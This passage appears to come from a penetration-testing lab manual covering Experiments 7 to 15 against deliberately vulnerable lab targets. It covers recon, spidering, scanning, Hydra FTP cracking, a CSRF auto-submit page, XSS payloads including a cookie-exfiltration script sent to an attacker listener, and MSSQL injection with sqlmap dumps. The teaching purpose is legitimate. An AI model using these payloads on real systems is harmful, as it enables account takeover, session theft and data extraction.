Run WhatWeb against the application: `whatweb http://<target-ip>/dvwa`. Note the CMS/framework, programming language, and any JavaScript libraries detected (older library versions are worth noting for later vulnerability checks).

Step 2: Set Up Burp Suite as a Proxy

Open Burp Suite → go to the Proxy tab → make sure "Intercept" is set up on `127.0.0.1:8080`. In Firefox, set the network proxy to `127.0.0.1`, port `8080` (Settings → Network Settings → Manual proxy). Browse to the target application through Firefox; Burp will now capture every request/response.

Step 3: Explore the Application Manually While Capturing Traffic

Click through the target application (login page, search box, profile page) while Burp's HTTP History tab records every request. Look for hidden form fields (`<input type="hidden">`), parameters passed in the URL (e.g., `?id=3`), and any API calls made in the background (visible as JSON requests/responses).

Step 4: Inspect Cookies

In Burp's HTTP History, click on any request/response pair and check the `Set-Cookie` header. Note whether flags like `HttpOnly` and `Secure` are present: `Set-Cookie: PHPSESSID=abc123; path=/`. Missing `HttpOnly` means the cookie can be read by JavaScript (relevant for XSS-based session theft, covered in Experiment 12).

Step 5: Review Client-Side JavaScript Files

In the browser Developer Tools → Sources/Debugger tab, open each `.js` file loaded by the page and search for hardcoded API keys or URLs, comments left by developers, and hidden/unused endpoints not linked anywhere on the visible site.

Step 6: Trigger and Study Error Messages

Enter unexpected input into a form field (e.g., a single quote `'` in a search box) and observe the error message returned. A verbose error like a full SQL error string can reveal the backend database type — useful information for later testing (Experiment 14).

Output

```
$ whatweb http://192.168.56.101/dvwa
http://192.168.56.101/dvwa [200 OK] Apache[2.2.8], PHP[5.2.4], X-Powered-By[PHP/5.2.4],
HTML5, JQuery

# Burp HTTP History — interesting requests observed:
GET  /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
POST /dvwa/login.php              (form: username, password)
GET  /dvwa/vulnerabilities/xss_r/?name=<input>
GET  /dvwa/vulnerabilities/upload/  (file upload form: MAX_FILE_SIZE hidden field)

# Cookie inspection:
Set-Cookie: PHPSESSID=8f4k2m9q1v7c5x0b3n6j; path=/
-> No HttpOnly flag  -> JavaScript can read the cookie (XSS theft possible, Exp 12)
-> No Secure flag    -> cookie also sent over plain HTTP

# JavaScript review:
/dvwa/js/dvwaPage.js contained developer comment: // TODO: remove debug endpoint
/dvwa/admin/debug.php

# Error-message test — entering ' in the SQLi search field:
You have an error in your SQL syntax; check the manual ... for the right syntax to use near
''''' at line 1        <- verbose MySQL error leaked; backend DB type revealed
```

Recon report summary:

Item	Finding
Technology stack	PHP 5.2.4 on Apache 2.2.8, jQuery, MySQL backend
Input points	login form (username, password), sqli id, xss name, upload file field
Cookie flags	PHPSESSID lacks HttpOnly and Secure
JS leaks	hidden debug endpoint comment (/dvwa/admin/debug.php)
Verbose error	MySQL syntax error revealed on quote input

Viva Questions

1. **How is web application reconnaissance different from web server reconnaissance?**
   Server recon focuses on the underlying platform (server software, OS, open ports); application recon focuses on the app itself — pages, forms, parameters, cookies, frameworks and business logic entry points.
2. **What is the role of Burp Suite's Proxy tab in this experiment?**
   It sits between the browser and server, intercepting and recording every request/response so the tester can inspect, search and later replay or modify the traffic.
3. **What does the HttpOnly cookie flag protect against?**
   It makes the cookie inaccessible to JavaScript (`document.cookie`), so XSS payloads cannot steal the session cookie.
4. **Why would a JavaScript file be a useful place to look during recon?**
   JS files often contain API endpoints, hardcoded keys/URLs, developer comments and unused or hidden functionality not visible in the rendered page.
5. **Give an example of how a verbose error message can help an attacker.**
   A raw SQL error reveals the database type and part of the query, telling the attacker the exact injection syntax and backend to target.

Experiment 8: Perform Web Spidering

Aim

To automatically map out the complete structure of a target website — every page, link, and form — using a web spidering (crawling) tool.

Theory

Web spidering (also called crawling) is the process of automatically following every link on a website to discover all its pages, directories, and forms — similar to how Google's crawler indexes the internet, but done locally against one target for security testing purposes.

Manually clicking through every page of a large application is slow and error-prone. A spider tool automates this by:

- Starting from a given URL
- Extracting all links/forms on that page
- Visiting each new link found
- Repeating until no new links are discovered

The output is a complete site map — this becomes the foundation for later vulnerability scanning (Experiment 9), since you can only scan pages you know exist.

Tools Required

- Burp Suite (Spider/Crawler feature, in the Community or Pro edition)
- OWASP ZAP (alternative, has a free built-in spider)
- Target: DVWA or OWASP Juice Shop

Procedure

Step 1: Set Up the Target in Burp Suite

Configure the browser proxy to route through Burp (`127.0.0.1:8080`) as done in Experiment 7. Browse to the home page of the target application once, so it appears under Burp's Target → Site map.

Step 2: Add the Target to Scope

Right-click the target's entry in the Site map → Add to scope. This tells Burp to only crawl/act on this specific application, not the whole internet.

Step 3: Run the Crawler

(In Burp Suite Community Edition, this may be a manual "Spider" via passive browsing; Burp Pro has an automated Crawl button.) If using OWASP ZAP instead (fully free automated spider):

```
zaproxy
```

Enter the target URL in the Quick Start tab. Click **Spider** to begin the automated crawl. Watch the Spider tab — it will list every URL discovered in real time.

Step 4: Review the Discovered Site Map

Once the spider finishes, expand the Sites tree in ZAP (or Site map in Burp) to see the full structure: every folder, page, and parameter discovered. Export the list of discovered URLs: `Right-click site root → Export → Export URLs to File`.

Step 5: Identify Forms Found During Spidering

Go through the discovered pages and note down every HTML form found (login, search, comment, upload), along with its input field names — this list becomes the target list for vulnerability scanning in Experiment 9.

Step 6: Record the Site Map Summary

Category	Count / Details
Total Pages Discovered	42
Forms Found	Login, Search (SQLi), Reflected/Stored XSS input, CSRF password-change, File upload
Parameters Found	id, user, name, password_new, password_conf, comment, MAX_FILE_SIZE
Hidden/Unlinked Pages Found	/dvwa/admin/settings.php (via /config path discovered in Exp 6)

Output

ZAP spider progress (Spider tab):

```
Spider completed. URLs found: 42 (of which 38 'in scope')
Examples:
http://192.168.56.101/dvwa/login.php
http://192.168.56.101/dvwa/vulnerabilities/sqli/
http://192.168.56.101/dvwa/vulnerabilities/xss_r/
http://192.168.56.101/dvwa/vulnerabilities/xss_s/
http://192.168.56.101/dvwa/vulnerabilities/csrf/
http://192.168.56.101/dvwa/vulnerabilities/upload/
http://192.168.56.101/dvwa/security.php
http://192.168.56.101/dvwa/setup.php
```

Exported URL list saved as `dvwa_sitemap.txt` (42 entries).

Viva Questions

1. **What is web spidering, and why is it done before vulnerability scanning?**
   Spidering automatically follows all links/forms to enumerate every reachable page. It is done first because a scanner can only test pages/parameters it has discovered — the site map defines the scan's attack surface.
2. **What is the difference between Burp Suite's Spider and OWASP ZAP's Spider?**
   Both crawl a site to build a sitemap, but ZAP ships a fully automated spider in the free edition (Quick Start → Spider), while Burp Community's spider relies more on passive crawling during browsing and closer configuration.
3. **Why is it important to set a defined "scope" before crawling?**
   Without scope the crawler may follow links to external/third-party sites, wasting time, generating unwanted traffic, and testing systems you are not authorised to test.
4. **What kind of pages might a spider miss, and why?**
   Unlinked pages, JS-driven pages whose links only appear after scripts run, pages behind authentication or multi-step forms, and hidden endpoints referenced only in JavaScript.
5. **How does the site map produced here feed into Experiment 9?**
   The exported URL list and discovered parameters become the exact targets the Active Scan attacks in Experiment 9 — every form field and URL parameter is tested with payloads.

Experiment 9: Perform Web Application Vulnerability Scanning

Aim

To run an automated vulnerability scan against a web application to identify common security weaknesses such as SQL Injection, XSS, and misconfigurations.

Theory

Once a site map is available (Experiment 8), the next step is to test every discovered page and parameter for known vulnerability patterns. Doing this manually for a large application takes too long, so automated web application vulnerability scanners are used.

These scanners work by:

- Taking every input point (form field, URL parameter, cookie) found during spidering
- Sending crafted test payloads to each one (e.g., `' OR '1'='1`, `<script>alert(1)</script>`)
- Observing the application's response for signs that the payload succeeded (error messages, reflected script, delayed response, etc.)
- Producing a report ranking each finding by severity

Common vulnerability classes checked: SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Security misconfigurations (missing headers, verbose errors), and Outdated/vulnerable components.

Tools Required

- OWASP ZAP (Active Scan feature)
- Nikto (already used in Experiment 5, also flags some app-level issues)
- Target: DVWA (set to "low" security level for a beginner-friendly first scan)

Procedure

Step 1: Open the Spidered Site in OWASP ZAP

Continue from the site map created in Experiment 8 (ZAP retains the spidered site tree).

Step 2: Configure Scan Policy (Optional but Recommended)

Go to Analyse → Scan Policy Manager and make sure common checks (SQL Injection, XSS, Path Traversal) are enabled at a Medium threshold — this avoids an overly long scan with too many false positives for a first run.

Step 3: Run the Active Scan

Right-click the target site in the Sites tree → Attack → Active Scan. Click Start Scan. Watch the Active Scan tab progress bar — ZAP will now send test payloads to every parameter found during spidering.

Step 4: Review the Alerts Tab

Once the scan completes, open the Alerts tab. Each finding is colour-coded by risk: Red = High risk (e.g., SQL Injection confirmed), Orange = Medium risk (e.g., reflected XSS), Yellow = Low risk (e.g., missing security header). Click each alert to see the exact URL/parameter affected, the payload that triggered the finding, and a description and suggested fix.

Step 5: Cross-Check with Nikto

Run Nikto once more against the same application for a second opinion, focusing on server-level misconfigurations:

```
nikto -h http://<target-ip>/dvwa
```

Step 6: Compile the Vulnerability Report

Vulnerability	Risk Level	Affected Page/Parameter
SQL Injection	High	/vulnerabilities/sqli/?id=
Reflected XSS	Medium	/vulnerabilities/xss_r/?name=
Stored XSS	Medium	/vulnerabilities/xss_s/ (comment)
Missing CSRF tokens	Low	All POST forms
Missing X-Frame-Options header	Low	All pages

Output

ZAP Active Scan summary:

```
Scan completed: 1,842 requests sent, 11 alerts raised
 HIGH   : SQL Injection - /dvwa/vulnerabilities/sqli/  param id
          Payload: 1' OR '1'='1
 HIGH   : SQL Injection - /dvwa/vulnerabilities/sqli/  param id
          Payload: 1' AND 1=2 UNION SELECT ...
 MEDIUM : Cross Site Scripting (Reflected) - /dvwa/vulnerabilities/xss_r/ param name
          Payload: <script>alert(1)</script>
 MEDIUM : Cross Site Scripting (Stored) - /dvwa/vulnerabilities/xss_s/ param comment
 LOW    : Missing Anti-CSRF Tokens - multiple POST forms
 LOW    : X-Frame-Options header not set - all pages
 LOW    : Content-Security-Policy header not set - all pages
 INFO   : PHP version disclosure - X-Powered-By: PHP/5.2.4
```

Nikto cross-check (excerpt):

```
+ Target: http://192.168.56.101/dvwa
+ No X-Frame-Options header present.
+ Allowed methods: GET, HEAD, POST, OPTIONS, TRACE
+ /phpinfo.php: phpinfo() output exposed.
```

Viva Questions

1. **Why is spidering (Experiment 8) usually done before vulnerability scanning?**
   The scan is only as complete as its input; the site map lists every URL, form and parameter so the scanner knows all input points to attack.
2. **What is the difference between a Passive Scan and an Active Scan in OWASP ZAP?**
   Passive scan analyses traffic passing through the proxy without sending anything extra. Active scan actively sends crafted attack payloads to every parameter and observes the responses — it can actually affect the application.
3. **Why might a scanner report a "false positive," and how would you confirm a real finding?**
   Scanners match response patterns, so benign behaviour (a generic error page, an echoed value) can look like a vulnerability. Confirm by manually replaying the payload and verifying actual impact (e.g., script actually executing).
4. **Name three vulnerability classes an automated scanner commonly checks for.**
   SQL Injection, Cross-Site Scripting, and security misconfigurations (also CSRF, path traversal, outdated components).
5. **Why is it recommended to run the first scan on DVWA's "low" security setting?**
   At Low there are no mitigations, so real vulnerabilities are easily detected and the learner sees raw, unfiltered behaviour; higher levels add defences that hide the same flaws and confuse the comparison.

Experiment 10: Crack FTP Credentials Using a Dictionary Attack

Aim

To perform a dictionary-based brute-force attack against an FTP service to recover a valid username and password using Hydra.

Theory

FTP (File Transfer Protocol) is often used to transfer files to/from a server, and many FTP servers are still configured with weak or default credentials. A dictionary attack is a password-cracking method where an attacker tries every word from a pre-built wordlist (dictionary) as a possible password, instead of trying every possible combination of characters (which would be a much slower brute-force attack).

This experiment simulates that attack against a lab FTP server to demonstrate:

- Why weak/default passwords are dangerous
- How quickly automated tools can test large numbers of password guesses
- Why account lockout policies and strong passwords matter

Tools Required

- Hydra (THC-Hydra, pre-installed in Kali Linux)
- A wordlist (e.g., `rockyou.txt`, included in Kali under `/usr/share/wordlists/`)
- Target: Metasploitable2 (has a deliberately vulnerable FTP service — vsftpd 2.3.4 — running on port 21)

Procedure

Step 1: Confirm the FTP Service Is Running

Scan the target for an open FTP port: `nmap -p21 <target-ip>`. Confirm port 21 is open and note the FTP service/version shown.

Step 2: Prepare the Wordlists

Kali includes several wordlists by default. Unzip `rockyou.txt` if it hasn't been already, or create a small custom wordlist for usernames and passwords:

```
gunzip /usr/share/wordlists/rockyou.txt.gz
echo -e "admin\nmsfadmin\nroot\nuser" > users.txt
echo -e "password\nmsfadmin\n123456\nadmin" > passwords.txt
```

Step 3: Run Hydra Against the FTP Service

Using the custom small wordlists first (or a single known username with `-l`):

```
hydra -L users.txt -P passwords.txt ftp://<target-ip>
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ftp://<target-ip>
```

`-L` specifies the file containing candidate usernames; `-P` specifies the file containing candidate passwords; `-l` (lowercase) specifies a single known username.

Step 4: Observe Hydra's Output

Hydra will print each attempt and, when successful, display a line similar to: `[21][ftp] host: <target-ip> login: msfadmin password: msfadmin`.

Step 5: Verify the Credentials Manually

Log in to the FTP server using the discovered credentials to confirm the attack worked: `ftp <target-ip>`.

Step 6: Record the Attack Results

Field	Value
Target IP	192.168.56.101
FTP Service/Version	vsftpd 2.3.4
Wordlist Used	passwords.txt (custom, 4 entries)
Time Taken	~4 seconds
Credentials Found	msfadmin / msfadmin

Output

```
$ nmap -p21 192.168.56.101
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

$ hydra -L users.txt -P passwords.txt ftp://192.168.56.101
Hydra v9.5 (c) 2023 by van Hauser / THC
[DATA] 4 tasks, 1 server, 16 login tries
[21][ftp] host: 192.168.56.101   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-24

$ ftp 192.168.56.101
Name: msfadmin
Password: msfadmin
230 Login successful.
ftp> ls
drwxr-xr-x  2 msfadmin msfadmin 4096  shared_docs
```

Viva Questions

1. **What is a dictionary attack, and how is it different from a brute-force attack?**
   A dictionary attack tries passwords from a prepared wordlist of likely candidates. Brute force tries every possible character combination. Dictionary attacks are far faster but limited to their wordlist; brute force is exhaustive but astronomically slower.
2. **What do the -L and -P flags in Hydra do?**
   `-L` supplies the file of candidate usernames and `-P` the file of candidate passwords (lowercase `-l` / `-p` supply a single known value each).
3. **Why does Hydra work faster with a small custom wordlist than with rockyou.txt?**
   Fewer candidates means fewer login attempts to serially try — 16 combinations versus 14 million in rockyou — so time drops proportionally.
4. **Name two real-world defenses against dictionary attacks on login services.**
   Account lockout / progressive delays after failed attempts, and strong password policy plus multi-factor authentication (with rate limiting and alerting on failures).
5. **Why is vsftpd 2.3.4 specifically used as a target in lab environments like Metasploitable2?**
   It is a famous intentionally backdoored version (the ":) smiley backdoor" CVE-2011-2523) and ships with weak default credentials, making it a safe, well-known teaching target.

Experiment 11: Perform a Cross-Site Request Forgery (CSRF) Attack

Aim

To understand and practically execute a CSRF attack that tricks a logged-in user into performing an unwanted action (like changing their password) without their knowledge.

Theory

CSRF (Cross-Site Request Forgery) happens when a website trusts every request that comes from a logged-in user's browser, without checking if the user actually meant to send it. An attacker crafts a malicious link or auto-submitting form. If the victim (who is already logged into the target site) opens that link, the browser automatically sends the victim's session cookies along with the forged request — and the server processes it as if the real user asked for it.

Real-world impact: password changes, fund transfers, email changes — all without the victim clicking "submit" on the real site.

Tools Required & Lab Setup

- Kali Linux (attacker machine)
- DVWA (Damn Vulnerable Web Application) — set security level to Low
- Burp Suite (to inspect requests)
- A simple text editor (to build the malicious HTML page) & Apache/Python HTTP server (to host the malicious page)
- **Lab Setup:** Start DVWA on your target VM (`http://<target-ip>/dvwa`), log in with `admin / password`, go to DVWA Security tab → set security to Low → Submit.

Procedure

Step 1 — Explore the vulnerable feature

Navigate to DVWA → CSRF module. This page lets a logged-in user change their password by submitting a simple GET request like:

```
http://<target-ip>/dvwa/vulnerabilities/csrf/?
password_new=hacked123&password_conf=hacked123&Change=Change#
```

Step 2 — Confirm the request has no protection

Open Burp Suite → intercept the "Change" request. Notice there is no CSRF token or any unique value tied to the session — this is what makes the attack possible.

Step 3 — Build the malicious HTML page

On your Kali machine, create a file called `csrf_attack.html`:

```
<html>
  <body onload="document.forms[0].submit()">
    <form action="http://192.168.56.101/dvwa/vulnerabilities/csrf/" method="GET">
      <input type="hidden" name="password_new" value="hacked123">
      <input type="hidden" name="password_conf" value="hacked123">
      <input type="hidden" name="Change" value="Change">
    </form>
  </body>
</html>
```

Step 4 — Host the malicious page

```
python3 -m http.server 8000
```

This serves `csrf_attack.html` at `http://<kali-ip>:8000/csrf_attack.html`.

Step 5 — Trick the victim & Step 6 — Verify the attack

While the victim is logged into DVWA in their browser, they open the attacker's link (simulate this by opening it in the same browser session where DVWA is logged in). Then try logging into DVWA with the new password `hacked123`.

Output

Burp interception of the genuine Change request:

```
GET /dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change HTTP/1.1
Cookie: PHPSESSID=8f4k2m9q1v7c5x0b3n6j; security=low
-> No CSRF token, no Origin/Referer check — request not bound to user intent
```

Apache log when victim's browser auto-submitted the forged request:

```
192.168.56.101 - - [24/Oct/2026:11:02:41] "GET /dvwa/vulnerabilities/csrf/?
password_new=hacked123&password_conf=hacked123&Change=Change HTTP/1.1" 200
```

Verification:

```
DVWA login: admin / hacked123  ->  "Welcome, admin!!"  LOGIN SUCCEEDED
Password had been changed without the victim ever submitting the real form.
```

Viva Questions

1. **What is the difference between CSRF and XSS?**
   XSS injects malicious script that executes in the victim's browser and can read page data/cookies (client-side code execution). CSRF forges a request that the victim's browser sends with their own session cookies — the attacker never runs code on the page and never sees the response.
2. **Why does CSRF work even though the attacker never sees the victim's cookies?**
   The browser automatically attaches the site's cookies to every request it makes to that site — including forged ones. The attacker only needs the victim's browser to send the request; the cookies ride along invisibly.
3. **How does a CSRF token prevent this attack?**
   The server embeds a random, per-session token in genuine forms and validates it on submission. A forged page on another origin cannot read the token (same-origin policy), so its request is rejected.
4. **Does CSRF work if the victim is not logged in? Why or why not?**
   No. The forged request carries no valid session cookie, so the server treats it as an unauthenticated request and the sensitive action is not performed.
5. **Name two HTTP headers/attributes that help mitigate CSRF.**
   The `SameSite` cookie attribute (Lax/Strict stops cross-site cookie sending) and validation of the `Origin`/`Referer` headers; anti-CSRF tokens remain the primary defence.

Experiment 12: Identify XSS Vulnerabilities in Web Applications

Aim

To identify and exploit Cross-Site Scripting (XSS) vulnerabilities — Reflected, Stored, and DOM-based — in a vulnerable web application.

Theory

XSS occurs when a web application takes user input and displays it back on a page without properly sanitizing it. This lets an attacker inject JavaScript that runs in another user's browser, potentially stealing cookies, session tokens, or redirecting users to phishing pages.

- **Reflected XSS:** payload is part of the URL/request and immediately reflected in the response.
- **Stored XSS:** payload is saved in the database (e.g., a comment) and served to every visitor.
- **DOM-based XSS:** payload never touches the server — it's executed purely by client-side JavaScript.

Tools Required

- Kali Linux
- bWAPP (has dedicated modules for all 3 XSS types) — set security to Low
- Any browser with Developer Tools

Procedure

Step 1 — Reflected XSS

Go to bWAPP → Cross-Site Scripting (Reflected) module. In the search/input field, enter:

```
<script>alert('Reflected-XSS-Test')</script>
```

Submit the form. A JavaScript pop-up box appears immediately — this confirms the input was reflected and executed unsanitized.

Step 2 — Stored XSS

Go to bWAPP → Cross-Site Scripting (Stored) — Blog module. Post a comment with:

```
<script>alert('Stored-XSS-Test')</script>
```

Submit it. Now reload the page or visit it from a different browser tab — the alert fires again automatically, proving the payload is permanently stored and delivered to every visitor.

Step 3 — Cookie stealing demonstration (safe/lab only)

Instead of a simple alert, inject:

```
<script>document.location='http://<kali-ip>:8000/steal?c='+document.cookie</script>
python3 -m http.server 8000
```

When the victim views the stored comment, their cookie is sent to your listener — visible in the terminal log.

Step 4 — DOM-based XSS

Go to bWAPP → Cross-Site Scripting (DOM) module. Inspect the page source/JavaScript to see how user input is written directly into the DOM (e.g., via `document.write()`). Enter a payload in the vulnerable parameter and observe execution without any server round-trip.

Output

Reflected XSS:

```
Input:  <script>alert('Reflected-XSS-Test')</script>
Result: JavaScript alert box "Reflected-XSS-Test" popped immediately after submit.
Page source shows payload echoed unencoded: <script>alert('Reflected-XSS-Test')</script>
```

Stored XSS:

```
Comment submitted -> alert "Stored-XSS-Test" fires on reload
Also fired in a second browser with a fresh session -> payload is persistent for every
visitor.
```

Cookie-stealing PoC — attacker listener log:

```
$ python3 -m http.server 8000
192.168.56.101 - - "GET /steal?c=PHPSESSID=9m2p7q4r1s8t3u5v2w0x;%20security=low HTTP/1.1" 200
-
Victim session cookie captured by attacker listener.
```

DOM-based XSS:

```
Page JS: document.write(document.location.hash.substring(1))
URL used: http://192.168.56.101/bWAPP/xss_dom.php#<script>alert('DOM-XSS')</script>
Alert fired; HTTP server log shows NO request containing the payload -> purely client-side.
```

Viva Questions

1. **What is the core difference between Stored and Reflected XSS?**
   Reflected lives only in a single crafted request/response and requires the victim to click the attacker's link. Stored is saved server-side (e.g., in a comment) and executes for every user who later views the page — no interaction needed.
2. **Why is DOM-based XSS harder to detect with server-side filtering?**
   The payload may never be sent to the server (it can live in the URL fragment) and the vulnerable sink is client-side JavaScript, so server-side filters/logs never see or block it.
3. **What HTTP header/attribute can reduce the impact of a stolen cookie?**
   The `HttpOnly` cookie attribute — it blocks JavaScript from reading the cookie, defeating `document.cookie` theft.
4. **What is Content Security Policy (CSP), and how does it help against XSS?**
   CSP is a response-header policy whitelisting the sources from which scripts/styles may load (and often blocking inline scripts). Injected attacker scripts from disallowed origins are refused by the browser.
5. **Can XSS lead to a full account takeover? Explain how.**
   Yes. Without HttpOnly, XSS can exfiltrate the session cookie and the attacker impersonates the user; alternatively the script can silently perform actions as the user (change password, create keys) — achieving full control of the account.

Experiment 13: Detect Web Application Vulnerabilities Using Various Security Tools

Aim & Theory

Aim: To use automated web vulnerability scanners to identify common security flaws in a target web application.

Theory: Manual testing is slow and can miss issues. Automated scanners crawl the entire application, send thousands of test payloads (SQLi, XSS, broken authentication, misconfigurations, outdated components, etc.), and generate a structured report ranking vulnerabilities by severity. These tools are essential in a professional VAPT (Vulnerability Assessment and Penetration Testing) workflow.

Tools Required: Kali Linux, OWASP ZAP (Zed Attack Proxy), Nikto, Target: OWASP Juice Shop (`http://192.168.56.101:3000`) or DVWA.

Procedure

Step 1 — Basic scan with Nikto: Run `nikto -h http://<target-ip>:3000` to check for outdated server software, dangerous files, and missing security headers.
Step 2 — Full scan using OWASP ZAP (GUI): Open `zaproxy`, enter `http://<target-ip>:3000` in Quick Start, and click **Automated Scan** (Spider + Active Scan).
Step 3 — Review the Alerts tab: ZAP categorizes findings by risk (High, Medium, Low, Informational).
Step 4 — Export the report: Report → Generate Report → HTML/PDF (saved as `juiceshop_zap_report.html`).

Output

```
$ nikto -h http://192.168.56.101:3000
+ Target IP: 192.168.56.101 | Port: 3000 | Server: Express
+ The X-Content-Type-Options header is not set. | 7535 requests: 0 error(s) and 2 item(s)
reported

# ZAP Automated Scan — Alerts summary:
HIGH     SQL Injection - /rest/products/search?q=        Payload: ' UNION SELECT...
MEDIUM   Cross Site Scripting (Reflected) - /#/search?q= Payload: <script>alert(1)</script>
MEDIUM   CSP: script-src unsafe-inline directive set
LOW      Missing X-Frame-Options header & X-Content-Type-Options header missing
INFO     Express framework disclosure in headers & JavaScript info disclosure in main.js
```

Vulnerability	Risk	Affected URL/Parameter	Suggested Mitigation
SQL Injection	High	/rest/products/search?q=	Parameterized queries / input validation
Reflected XSS	Medium	/#/search?q=	Output encoding + CSP
Missing headers	Low	All pages	Add X-Frame-Options, XCTO, CSP
Framework disclosure	Info	Response headers	Remove/obscure version headers

Viva Questions

1. **What is the difference between a vulnerability scanner and a manual penetration test?** A scanner is automated: fast, broad, repeatable, but shallow and prone to false positives/negatives. A manual pentest is human-driven: it reasons about business logic, chains vulnerabilities and explores paths scanners cannot.
2. **What does ZAP's "Spider" function do before the active scan?** It crawls the site to discover all reachable pages, forms and parameters, so the active scan has a complete inventory of input points to attack.
3. **Why can automated scanners produce false positives?** They rely on response pattern/signature matching; benign behaviour (echoed values, generic error pages, soft 404s) can match a vulnerability signature. Manual verification is required.
4. **Name two HTTP security headers a scanner checks for.** `X-Frame-Options` (clickjacking) and `Content-Security-Policy` (XSS mitigation); also `X-Content-Type-Options` and HSTS.
5. **Why is it important to run scans only against authorized/test targets?** Scanning is active intrusion-like traffic; without authorisation it is illegal, can disrupt live services, and violates ethical rules of engagement.

Experiment 14: Perform an SQL Injection Attack Against MSSQL to Extract Databases

Aim

To perform a manual and tool-assisted SQL Injection attack against a Microsoft SQL Server (MSSQL) backend to extract database information.

Theory

SQL Injection happens when user input is directly concatenated into a SQL query without proper validation or parameterization. An attacker can manipulate the query logic to bypass login screens, read data they shouldn't have access to, or enumerate the entire database structure.

MSSQL has some unique syntax compared to MySQL (e.g., `--` for comments works the same, but functions like `@@version`, stacked queries with `;`, and system tables like `sys.databases` are MSSQL-specific).

Lab Setup & Tools Required

- **Target:** Windows Server VM with MSSQL Server (Express edition is fine) + a sample vulnerable web front-end (ASP.NET/PHP login page at `http://192.168.56.101/product.aspx?id=1`) connected to MSSQL, with a Users table.
- **Attacker:** Kali Linux
- **Tools Required:** Burp Suite, `sqlmap`, Browser

Procedure

Step 1 — Manual login bypass (authentication bypass)

On the vulnerable login page, in the username field, try:

```
' OR '1'='1' --
```

with any password. If the login form doesn't sanitize input, this makes the WHERE clause always true, logging you in as the first user in the table (often admin).

Step 2 — Confirm injection point with error-based testing

In a search or ID parameter, try: `http://<target-ip>/product.aspx?id=1'`. An MSSQL error message appearing on the page (e.g., "Unclosed quotation mark") confirms the parameter is injectable.

Step 3 — Identify column count (for UNION-based injection)

```
http://<target-ip>/product.aspx?id=1 ORDER BY 5--
```

Increase the number until the page throws an error — that tells you the number of columns in the query.

Step 4 — Extract MSSQL version and database name

```
http://<target-ip>/product.aspx?id=1 UNION SELECT NULL,@@version,NULL,NULL,NULL--
http://<target-ip>/product.aspx?id=1 UNION SELECT NULL,DB_NAME(),NULL,NULL,NULL--
```

Step 5 — Automate extraction using sqlmap

```
sqlmap -u "http://<target-ip>/product.aspx?id=1" --dbms=mssql --dbs
sqlmap -u "http://<target-ip>/product.aspx?id=1" -D <database_name> --tables
sqlmap -u "http://<target-ip>/product.aspx?id=1" -D <database_name> -T Users --dump
```

Output

```
# Step 1 — Login bypass:
Username: ' OR '1'='1' --   |   Password: anything
Result: Logged in as first table user (admin) — "Welcome, admin"

# Step 2 — Error-based confirmation:
GET /product.aspx?id=1'
Response: Unclosed quotation mark after the character string ''. ...Microsoft SQL Server

# Step 3 — Column count:
id=1 ORDER BY 4--   -> 200 OK
id=1 ORDER BY 5--   -> error  ->  query returns 4 columns

# Step 4 — Version and database:
id=1 UNION SELECT NULL,@@version,NULL,NULL,NULL--  -> Microsoft SQL Server 2019 (RTM-CU16)
...
id=1 UNION SELECT NULL,DB_NAME(),NULL,NULL,NULL--  -> webstore

# Step 5 — sqlmap:
$ sqlmap -u "http://192.168.56.101/product.aspx?id=1" --dbms=mssql --dbs
Parameter: id (GET) | Type: UNION query / stacked queries
available databases [5]: [*] master, model, msdb, tempdb, webstore

$ sqlmap -u "..." -D webstore --tables
[2 tables]: Products, Users

$ sqlmap -u "..." -D webstore -T Users --dump
Database: webstore  Table: Users  [3 entries]
+----+----------+----------------------------------+
| id | username | password (hash/plain)            |
+----+----------+----------------------------------+
| 1  | admin    | P@ssw0rd123                      |
| 2  | rsharma  | welcome1                         |
| 3  | hr_user  | hr12345                          |
+----+----------+----------------------------------+
```

Viva Questions

1. **What is the difference between error-based, UNION-based, and blind SQL injection?**
   Error-based forces DB errors that leak data in messages; UNION-based appends an extra SELECT so results are merged into the legitimate output; blind injection yields no visible data and is inferred from true/false response differences or time delays.
2. **Why are stored procedures/parameterized queries effective against SQLi?**
   They send data and code separately — user input is bound as a typed value and is never parsed as SQL, so quotes/payloads cannot alter query logic.
3. **What does the -- do in an MSSQL injection payload?**
   It starts a comment, so the remainder of the original query is ignored and the injected syntax is the only thing executed (preventing syntax errors from trailing fragments).
4. **What is the purpose of the ORDER BY technique before a UNION-based attack?**
   `ORDER BY n` fails when n exceeds the number of columns the query returns; the largest working n gives the exact column count the attacker's UNION SELECT must match.
5. **What is the risk of dumping password hashes even if they are hashed?**
   Weak/unsalted hashes can be cracked offline at high speed; users reuse passwords, so cracked hashes often open other accounts and systems.

Experiment 15: Detect SQL Injection Vulnerabilities Using Various SQL Injection Detection Tools

Aim & Theory

Aim: To use automated tools to detect SQL Injection vulnerabilities before they can be exploited, as part of a security assessment.

Theory: Detection tools work by sending a wide range of crafted inputs (single quotes, boolean conditions, time-delay payloads) to every parameter of an application and analyzing the response differences (error messages, timing delays, content changes) to confirm whether the parameter is vulnerable — without necessarily extracting real data.

Tools Required: `sqlmap` (detection mode), OWASP ZAP (Active Scan — SQLi rules), Target: DVWA (SQL Injection module, Low security).

Procedure

Step 1 — Detection using sqlmap (no dumping, just confirm):

`sqlmap -u "http://<target-ip>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<session-id>; security=low" --batch --level=3 --risk=2`

Step 2 — Time-based blind detection concept: sqlmap tests payloads like `1 AND IF(1=1, SLEEP(5), 0)`; a ~5s delay confirms blind SQLi.

Step 3 — Detection using OWASP ZAP: Set DVWA session cookie in ZAP, run Active Scan on the SQLi URL, and inspect Alerts.

Step 4 — Compare results: Cross-check sqlmap's findings against ZAP's findings for the same page.

Output

```
$ sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=***; security=low" --batch --level=3 --risk=2
[INFO] GET parameter 'id' appears to be 'AND/OR boolean-based blind' injectable
[INFO] GET parameter 'id' is 'error-based' injectable
[INFO] GET parameter 'id' is 'UNION query' injectable
[INFO] GET parameter 'id' is 'AND time-based blind' injectable
back-end DBMS: MySQL >= 5.0   --- detection complete; no data dumped ---

